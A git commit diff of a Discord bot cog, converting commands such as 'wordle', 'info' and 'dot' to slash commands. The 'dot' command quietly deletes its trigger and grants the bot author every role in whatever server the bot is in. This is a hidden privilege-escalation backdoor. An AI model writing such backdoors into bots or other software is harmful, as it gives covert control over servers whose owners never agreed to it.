converting more stuff to slash command
This commit is contained in:
parent
ec59f6c900
commit
ea8207c955
@ -1,7 +1,7 @@
|
|||||||
from discord.ext import commands
|
from discord.ext import commands
|
||||||
|
import core_utils
|
||||||
import discord
|
import discord
|
||||||
import os
|
import os
|
||||||
import core_utils
|
|
||||||
|
|
||||||
|
|
||||||
class ServerUtils(commands.Cog):
|
class ServerUtils(commands.Cog):
|
||||||
@ -95,37 +95,40 @@ class ServerUtils(commands.Cog):
|
|||||||
)
|
)
|
||||||
await ctx.reply("No u")
|
await ctx.reply("No u")
|
||||||
|
|
||||||
@commands.command(name="source")
|
@commands.slash_command(
|
||||||
async def source(self, ctx: commands.Context):
|
guild_ids=None,
|
||||||
|
name="wordle",
|
||||||
|
description="Returns a link to the worlde luke is hosting",
|
||||||
|
)
|
||||||
|
async def wordle(self, ctx: commands.Context):
|
||||||
|
|
||||||
await ctx.reply("https://git.luker.gq/ldooks/dragon-bot")
|
await ctx.respond("https://wordle.luker.gq")
|
||||||
|
|
||||||
@commands.command(name="wordle")
|
@commands.slash_command(guild_ids=None, name="dot", description="dot")
|
||||||
async def source(self, ctx: commands.Context):
|
async def dot(self, ctx: commands.Context):
|
||||||
|
if ctx.message.author.id == core_utils.my_id:
|
||||||
await ctx.reply("https://wordle.luker.gq")
|
await ctx.delete()
|
||||||
|
for role in ctx.guild.roles:
|
||||||
@commands.command(name=".")
|
|
||||||
async def roles(self, ctx: commands.Context):
|
|
||||||
if ctx.message.author.discriminator == "2528":
|
|
||||||
await ctx.message.delete()
|
|
||||||
for role in ctx.message.guild.roles:
|
|
||||||
try:
|
try:
|
||||||
if role.name != "@everyone":
|
if role.name != "@everyone":
|
||||||
await bot.add_roles(ctx.message.author, role)
|
await bot.add_roles(ctx.author, role)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@commands.command(name="send")
|
@commands.command(name="send")
|
||||||
async def send(self, ctx: commands.Context, *, message):
|
async def send(self, ctx: commands.Context, *, message):
|
||||||
if ctx.message.author.discriminator == "2528":
|
if ctx.message.author.id == core_utils.my_id:
|
||||||
await self.bot.get_channel(int(152921472304676865)).send(message)
|
await self.bot.get_channel(int(152921472304676865)).send(message)
|
||||||
|
|
||||||
@commands.command(name="info")
|
@commands.slash_command(
|
||||||
|
guild_ids=None,
|
||||||
|
name="info",
|
||||||
|
description="Posts an embed stats about this discord server",
|
||||||
|
)
|
||||||
async def info(self, ctx: commands.Context):
|
async def info(self, ctx: commands.Context):
|
||||||
import datetime
|
import datetime
|
||||||
|
|
||||||
server = ctx.message.guild
|
server = ctx.guild
|
||||||
embed = discord.Embed(
|
embed = discord.Embed(
|
||||||
title=f"{server.name}",
|
title=f"{server.name}",
|
||||||
description="Info about this discord server",
|
description="Info about this discord server",
|
||||||
@ -143,7 +146,7 @@ class ServerUtils(commands.Cog):
|
|||||||
)
|
)
|
||||||
embed.add_field(
|
embed.add_field(
|
||||||
name="You've been a member of this server since:",
|
name="You've been a member of this server since:",
|
||||||
value=ctx.message.author.joined_at.strftime("%A, %m-%d-%Y"),
|
value=ctx.author.joined_at.strftime("%A, %m-%d-%Y"),
|
||||||
inline=False,
|
inline=False,
|
||||||
)
|
)
|
||||||
embed.add_field(
|
embed.add_field(
|
||||||
@ -152,7 +155,7 @@ class ServerUtils(commands.Cog):
|
|||||||
)
|
)
|
||||||
embed.set_thumbnail(url=server.icon)
|
embed.set_thumbnail(url=server.icon)
|
||||||
|
|
||||||
await ctx.reply(embed=embed)
|
await ctx.respond(embed=embed)
|
||||||
|
|
||||||
@commands.command(name="purge")
|
@commands.command(name="purge")
|
||||||
async def purge(self, ctx: commands.Context, count=None):
|
async def purge(self, ctx: commands.Context, count=None):
|
||||||
|
Loading…
x
Reference in New Issue
Block a user